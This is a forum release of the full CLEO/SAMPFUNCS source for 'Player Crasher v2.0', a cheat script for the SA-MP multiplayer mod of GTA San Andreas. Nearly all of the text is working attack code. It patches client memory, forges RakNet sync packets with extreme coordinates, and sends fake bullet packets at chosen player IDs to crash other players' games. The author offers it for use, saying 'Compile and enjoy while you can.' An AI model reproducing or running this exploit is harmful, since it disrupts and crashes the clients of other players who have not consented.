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07/03/2015

Player Crasher (with weapon) v2.0 by Mr.Ze SOURCE

Player Crasher v2.0 by Mr.Ze


v1.5


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{$CLEO}
{$INCLUDE SF}

0000: NOP

0B34: samp register_client_command "CrashDebug" to_label @Debugger
24@ = 0
0B34: samp register_client_command "Crash" to_label @Crasher
0B2E: 10@ = read_samp_memory offset 0x41E0 size 1


WHILE TRUE
wait 0
0A8D: 29@ = read_memory 0xB74490 size 4 virtual_protect 0
000A: 29@ += 0x4
0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0
for 30@ = 0 to 35584 step 0x100
    0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0
    000A: 29@ += 0x1
    if and
        0029:  31@ >= 0x00 
        001B:  0x80 > 31@
    then 
        005A: 31@ += 30@
    end
end
if 25@ == 1
then
04C4: store_coords_to 6@ 7@ 8@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 999999999.999999999
0B2D: write_samp_memory offset 0x41E0 value 0xC3 size 1
call @SENDONFOOTFAKEPOSITION 3 6@ 7@ 8@
call @SENDFAKEBULLET 1 31@ // 31@ = player id
end
end


:Debugger
wait 0
0B12: 24@ = 24@ XOR 1
if 24@ == 1
then
    0B2D: write_samp_memory offset 0x41E0 value 0xC3 size 1
    call @SENDONFOOTFAKEPOSITION 3 6@ 7@ 8@ 
    0AF8: samp add_message_to_chat "{22FF22}[Crasher]: {00bfdb}Successfully debugged!" color 12517890
    SAMP.Spawn()
    0AF6: samp spawn_player
    04C4: store_coords_to 6@ 7@ 8@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 -999999999.999999999
    00A1: put_actor $PLAYER_ACTOR at 6@ 7@ 8@
    0972: put_actor $PLAYER_ACTOR at 6@ 7@ 8@ no_offset
    wait 1337
    print "Your character has been debugged." 3000
    00BA: show_text_styled GXT "Your character has been debugged." time 3000 style 2  // Beefy Baron
    wait 3130
    print "RELOG" 3000
    00BA: show_text_styled GXT "RELOG" time 3000 style 2  // Beefy Baron
    0B2D: write_samp_memory offset 0x41E0 value 10@ size 1
end
0B43: samp cmd_ret 

:Crasher
0B12: 25@ = 25@ XOR 1
if 25@ == 1
then 
    0AF8: samp add_message_to_chat "{22FF22}[Crasher]: {FFFF00}Activated" color 12517890
    Model.Load(#minigun)
    01B2: give_actor $PLAYER_ACTOR weapon 38 ammo 999999
else 
    0AF8: samp add_message_to_chat "{22FF22}[Crasher]: {FFFF00}Deactivated" color 12517890
    0555: remove_weapon 38 from_actor $PLAYER_ACTOR
    Model.Destroy(#minigun)
    0B2D: write_samp_memory offset 0x41E0 value 10@ size 1 
end
0B43: samp cmd_ret


:SENDONFOOTFAKEPOSITION
3@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR) 
3@ = SAMP.GetPlayerStruct(3@)    
3@ += 55
0AC8: 4@ = allocate_memory_size 68 
0C10: memcpy destination 4@ source 3@ size 68 
0C0D: struct 4@ offset 6 size 4 = 0@
0C0D: struct 4@ offset 10 size 4 = 1@ 
0C0D: struct 4@ offset 14 size 4 = 2@ 
0B3D: raknet 5@ = new_bit_stream
0B40: raknet bit_stream 5@ write PACKET_PLAYER_SYNC type BS_TYPE_BYTE size 1 
0B40: raknet bit_stream 5@ write 4@ type BS_TYPE_ARRAY size 68
0B8B: raknet send bit_stream 5@
0B3E: raknet delete_bit_stream 5@
0AC9: free_allocated_memory 4@
0AB2: 0

:SENDFAKEBULLET
alloc 5@ 39 
0C0D: struct 5@ offset 0 size 1 = 1 
0C0D: struct 5@ offset 1 size 2 = 31@
0C0D: struct 5@ offset 27 size 4 = 0.0
0C0D: struct 5@ offset 31 size 4 = 0.0
0C0D: struct 5@ offset 35 size 4 = 0.0
6@ = RakNet.NewBitStream()
BitStream.Write(6@, 224, BS_TYPE_BYTE, 1)
BitStream.Write(6@, 5@, BS_TYPE_ARRAY, 39)
RakNet.LiteSend(6@)
RakNet.DeleteBitStream(6@)
free 5@ 
ret 0

Yes, I am releasing the source to my own script. Why? Because it has already got leaked, and now you see it in SF plugins, in s0beits, and everywhere. It's slowly getting patched, but this might just get it patched faster. Compile and enjoy while you can.

Hacked and decrypted by Mr.Ze
5 SourceHack: Player Crasher (with weapon) v2.0 by Mr.Ze SOURCE Player Crasher v2.0 by Mr.Ze SOURCE COMPILED AND RELEASED v1.5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15...

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